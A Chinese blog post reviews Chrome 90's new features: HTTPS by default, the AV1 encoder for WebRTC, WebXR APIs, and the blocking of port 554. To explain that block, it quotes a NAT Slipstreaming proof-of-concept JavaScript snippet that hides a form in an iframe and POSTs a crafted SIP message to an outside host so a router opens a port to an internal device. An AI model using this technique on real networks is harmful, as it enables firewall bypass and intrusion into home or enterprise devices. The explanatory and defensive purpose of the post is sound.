作者 | 寒雁Talk
4月13日正式发布的Chrome 90，带来了哪些有意思的新特性呢？
TL;TR
- Chrome 90是哪天发布的？2021-04-13
- Chrome 90更新了多少个特性？23个，具体有哪些特性可以查看Chrome Platform Status
- Chrome 90将使用哪个版本的V8引擎？v9.0
- Chrome 90最大的亮点是什么？默认使用HTTPS协议，其实是非常小的改动，但是还是蛮重要的，HTTP裸奔的时代终于快要结束了，可惜这个特性还在灰度没有完全发布
我感兴趣的新特性依次有哪些？
- A safer default for navigation: HTTPS
- AV1 Encoder
- WebXR Depth API和WebXR AR Lighting Estimation
- Feature: Block HTTP port 554
- 你感兴趣的新特性依次有哪些？这个我就不知道了啊，欢迎留言评论！
详细解读
A safer default for navigation: HTTPS
在浏览器地址栏输入URL，然后回车，之后发生了什么？这是一个非常经典的面试题。
Chrome 90开始，将会默认使用HTTPS协议打开URL，让这个面试题的答案变了一点点。
当我们输入example.com，Chrome 90之前的版本会默认访问http://example.com，服务端如果配置了重定向，则会重定向到https://example.com；而Chrome 90会默认访问https://example.com。
眼见为实，不妨简单测试一下（果然翻车了）。PS：测试之前需要清除浏览数据，否则Chrome第二次访问时会默认使用HTTPS。
当我使用Chrome 89打开kiwenlau.com时，会发现第一个请求使用的是HTTP协议（http://kiwenlau.com/），返回状态301，重定向到https://kiwenlau.com/，之后所有的请求使用的都是HTTPS协议：
当我使用Chrome 90打开kiwenlau.com时，会发现第一个请求居然使用的依然还是是HTTP协议（http://kiwenlau.com/），而不是HTTPS协议，这就很尴尬了：
我本来以为这是BUG，于是提了一个issue：
- Issue 1200048: Chrome 90 does not use https by defaut
根据回复，Chrome团队还在对这个特性进行灰度，如果希望开启这个特性，可以到chrome://flags把#omnibox-default-typed-navigations-to-https设为"Enabled"：
严格来讲，只有第一次访问kiwenlau.com的第一个请求使用了HTTP协议，貌似也没什么大不了的。不过，要知道HTTP协议本身是明文传输的（其实HTTP/2也没有要求非得加密，只是所有的浏览器都要求HTTP/2必须加密，这样的话，只有HTTPS才能升级HTTP/2），这意味着网络中每一个节点都是能查看并且篡改HTTP的通信内容，这也是页面劫持的基本原理，想想是不是有点后怕，尤其对于那些喜欢访问奇奇怪怪网站的同学来说。
如果使用Charles抓包来对比一下，可以发现，对于HTTP请求，Contents是明文：
对于HTTPS请求，Content是加密后的，看起来是乱码：
当然，对于支持HTTPS的站点，省去了HTTP到HTTPS重定向这一步，也是可以提高访问性能的，不过这个问题倒是其次的，毕竟只有一个HTTP请求，而且很多网站本来就很慢了，不在乎这几十毫秒。。。
Chrome一直在推进HTTPS协议在业界的应用，关于这一点，我之后写一篇博客详述（挖坑）。
AV1 Encoder
AV1的全称为AOMedia Video 1，是一个开源、免费的视频编码格式，编码效率更高。根据Netflix、Facebook的数据，AV1相对于VP9，可以将压缩效率提升20% ~ 30%左右。爱奇艺也在去年启用了AV1格式，可以节省20%的带宽。Youtube最新定制的视频芯片（VCU，Video Coding Unit）Argos也支持了AV1。
对于视频类应用来说，昂贵宽带费用一直是非常沉重的负担，这也是一些知名长视频网站一直无法盈利的关键原因之一（另外一个关键原因是内容成本）。根据爱奇艺最新的2020年财报，其2020年净亏损70亿人民币，其中带宽开支高达24亿人民币，占了亏损的34.3%。对于视频类应用来说，使用AV1这种更高效的视频编码格式，有利于减少宽带费用。
WebRTC的全称为Web Real-Time Communication，用于在Web应用中实现实时的视频和语音通信。其实WebRTC已经是个已经有10年历史的技术了，疫情的爆发促进了视频会议需求的爆发，使得WebRTC变得更加重要了。
Chrome 90支持了AV1 Encoder，用于优化WebRTC视频通信：提升压缩效率，减少带宽使用；支持30kbps以及更低码率的视频，服务低带宽的用户；优化了屏幕共享效率。
疫情在全球范围内爆发已经1年多了，这极大地增强了用户对于视频会议、直播的需求，AV1 Encoder这样的技术进步也可以帮助大家渡过现在的难关，这也是技术最大的意义。
AV1是由AOMedia（Alliance for Open Media）开发的，旨在取代Google开发的VP9，同时与需要收取专利费的H.263展开竞争。AOMedia其实也不是外人，Google是其核心成员，且AV1也是由Google主导开发的。作为程序员，不得不服Google对于技术进步推进是全方位的，哪里都能看到它的身影。关于Google是如何推进视频编码格式技术的进步，这又是另外一个话题了，我之后写一篇博客详述（再次挖坑）。
对于使用WebRTC开发Web视频会议应用的同学，不妨试用一下AV1 Encoder，也可以给大家分享一下到底效果怎么样。
WebXR Depth API和WebXR AR Lighting Estimation
WebXR Depth API和WebXR AR Lighting Estimation都是WebXR相关的特性更新，WebXR Depth API可以用来获取用户的设备与现实环境中物体的距离，WebXR AR Lighting Estimation可以用来获取环境的光线情况。
估计绝大部分人都没用过WebXR，所以还是先了解一下WebXR是啥...
WebXR其实就是在Web上开发AR（Augmented Reality）和VR（Virtual Reality）应用的API，AR和VR都是以字母R结尾，所以就取了个XR的名字。
在WebXR Experiments，有一些WebXR的示例，可以让大家实际感受一下WebXR能干嘛。
比如，Sodar就可以用来测量2m社交距离：
还有一个没有正式发布的示例Picturescape，看起来还挺有意思的，不过没太看懂具体是做什么的，等正式发布之后可以再看看：
从WebXR的示例来看，目前WebXR所实现的应用还比较简单，毕竟VR和AR技术本身目前的应用也比较简单粗糙。我最感兴趣的还是其在游戏领域的应用，《头号玩家》中的游戏体验什么时候可以实现呢？拭目以待！
Feature: Block HTTP port 554
Chrome 90屏蔽了554端口，这是为了缓解NAT Slipstream 2.0攻击。注意，这里用的词是缓解而不是解决，Chrome没法从根本上阻止NAT Slipstream 2.0攻击。
NAT Slipstream是去年10月底由Samy Kamkar发现的一种非常巧妙也非常危险的攻击方式，后来他又与Armis研究员Ben Seri和Gregory Vishnipolsky发现了新一版的NAT Slipstream 2.0的攻击方式。
简单来说，受害者只需要访问黑客的网站，该网站嵌入了黑客的JavaScript脚本，黑客就可以绕开受害者所在的局域网的防火墙，访问受害者所在的局域网中的任意TCP/UDP服务。
大家不妨通过NAT Slipstreaming 2.0 - Enterprise Network Bypass这个视频感受一下整个攻击流程是怎样的。
点击查看视频
受害者位于局域网中，局域网中连接的设备有受害者的智能手机、打印机、网络摄像头、打印机以及路由器，理论上局域网中的设备都是受到防火墙的保护的。而黑客位于Internet中，理论上是无法绕过防火墙直接访问局域网中的设备，比如打印机和网络摄像头。
受害者使用智能手机访问了黑客所提供的链接，攻击者成功绕过防火墙，获取打印机和网络摄像头的访问地址，远程给打印机发送打印任务，并且通过默认的账户密码远程访问网络摄像头。
如果你家的摄像头可以被黑客查看，是不是很可怕，赶紧把默认密码改了吧！
当然，如果打印机和网络摄像头都设置了比较严格的密码的话，攻击者也是没法访问它们的。所以，局域网中的设备也是必须做好安全防范的。但是这并不是重点，重点是攻击者绕过了防火墙，这又是怎么做到的呢？
Samy Kamkar的原文很长，所涉及的技术细节非常多，其实最关键的就是以下这段JavaScript代码：
// our sip message
var sipmsg = 'REGISTER sip:samy.pl;transport=TCP SIP/2.0\r\n' +
'Contact: <sip:samy@192.168.0.109:1234;transport=TCP>\r\n\r\n'
// load form in an iframe so user doesn't see it
var iframe = document.createElement('iframe')
iframe.name = 'iframe'
iframe.style.display = 'none' // hide the iframe
// create form
var form = document.createElement('form')
form.setAttribute('target', 'iframe') // load into iframe
form.setAttribute('method', 'POST') // need the POST area where we can add CRLFs
form.setAttribute('action', 'http://samy.pl:5060') // "http" server on SIP port 5060
form.setAttribute('enctype', 'multipart/form-data') // ensure our data doesn't get encoded
var textarea = document.createElement('textarea')
textarea.setAttribute('name', 'textname') // required
textarea.innerHTML = sipmsg
form.appendChild(textarea)
document.body.appendChild(iframe)
document.body.appendChild(form)
form.submit()这段代码，其实就是发送了一个特殊定制的POST请求，而这个POST请求由于体积过大，会被分成多个TCP包。从代码中可知，这些TCP包所请求的端口是5060，这恰好是SIP协议所使用的端口。黑客可以通过定制POST请求的大小来控制TCP包，让其中一个TCP包恰好会被NAT设备理解为SIP REGISTER包，NAT设备的ALG（Application Level Gateway）看到这个包，则会为黑客打开一个公网端口，并且转发到黑客所需要访问的内网TCP服务，代码中为192.168.0.109:1234。这样，黑客就可以通过NAT上的公网端口来访问内网服务192.168.0.109:1234。NAT设备则傻傻地帮黑客转发请求。
这种攻击方式非常有创意，涉及的技术细节非常多，我之后写一篇博客详细解释一下（又挖了一个坑）。当然，这种攻击方式也非常危险，Samy Kamkar真是个天才，还好他是白帽黑客。
Chrome屏蔽端口这种做法其实也是治标不治本，黑客确实没办法给所屏蔽端口发送请求了，但是如果受害者不更新浏览器的话，还是会被攻击。要从根本上解决这个问题，还是需要NAT设备尤其是ALG以及防火墙来想办法。
物联网时代，家里联网的设备越来越多了，作为用户，我们还是需要做好保护措施：
更新最新的Chrome浏览器；
加强局域网设备的安全保护措施，比如设置更加严格的密码；
如果不需要的话，关闭NAT设备的ALG（Application Level Gateway）功能；
避免访问未知的URL；
当然，你也可以选择断网，哈哈:(
总结
在我看来，Chrome 90最重要的更新，是默认使用HTTPS协议，其实是非常小的改动，但是还是蛮重要的。可惜这个特性还在灰度发布过程中，并没有真正发布。HTTP裸奔的时代终于快要结束了，站在现在的角度去看过去，一想到以前Web居然是基于明文传输协议的，感觉那是一个刀耕火种的时代。当然，那也是一个伟大的时代，Web的诞生本身就是一件改变人类文明的事情，我们都是幸运地站在巨人的肩膀上。如果未来量子计算机把RSA给破解了，现在的HTTPS也是裸奔。
另外，本文还介绍了AV1、WebXR以及NAT Slipstreaming相关的特性，我把重点放在了背景知识的介绍，这是因为这些特性本身对绝大多数开发者都用不到，并没有什么价值，且比较枯燥无味，不过这些关于这些特性的背景知识还是需要了解一下的，可以帮助我们更加全面的理解大前端的各个知识点以及应用场景。
我在文章后面列了非常多的参考资料，这是我读研的时候写论文养成的习惯，只要我有参考过的资料，我都会列出来，这个其实主要是为了方便我自己以后查阅，其次是分享给感兴趣的读者。其中，有一些高质量的内容我把字体加粗了，不妨重点关注一下。
在写作的过程中，我也发现了3个比较有意思的话题，是可以深入展开的，第1点是关于Chrome对于HTTPS技术推广所做的事情，第2点是关于Google推动视频编码技术进步所做的贡献，第3点是NAT Slipstreaming，后面我也会分别写博客介绍，欢迎与我交流：hanyan.lk@alibaba-inc.com 。
参考资料
- Chrome 90 Beta: AV1 Encoder for WebRTC, New Origin Trials, and More
- A safer default for navigation: HTTPS
- New in Chrome 90: Overflow Clip, Permissions Policy, the Declarative Shadow DOM, and more!
- Chrome 90 will use HTTPS (port 443) by Default - Let us discuss
- 了不起的Chrome浏览器：Chrome 89开启Web应用的物联网时代
- Real time communication with WebRTC
- Get Started with WebRTC
- Google supercharges YouTube with a custom video chip
- Netflix Now Streaming AV1 on Android
- Facebook turns on AV1 technology to speed up video streaming
- 爱奇艺成为国内首家启用AV1格式的视频网站 同画质播放节省超20%流量
- 新一代AV1编码格式，H.265的最大对手来了
- WebXR Experiments
- Experiment with AR and VR made for the web
- NAT Slipstreaming v2.0
- NAT Slipstreaming v2.0: New Attack Variant Can Expose All Internal Network Devices to The Internet
- NAT Slipstreaming 2.0 - Enterprise Network Bypass
- A New Attack Allows Access to any TCP/UDP service on a Machine behind NAT - NAT Slipstreaming
- Understanding Nat Slipstreaming
- Chrome 浏览器将屏蔽 554 端口以阻止 NAT Slipstreaming 攻击
- Chrome 屏蔽多个 TCP 端口，以阻止 NAT Slipstreaming 攻击
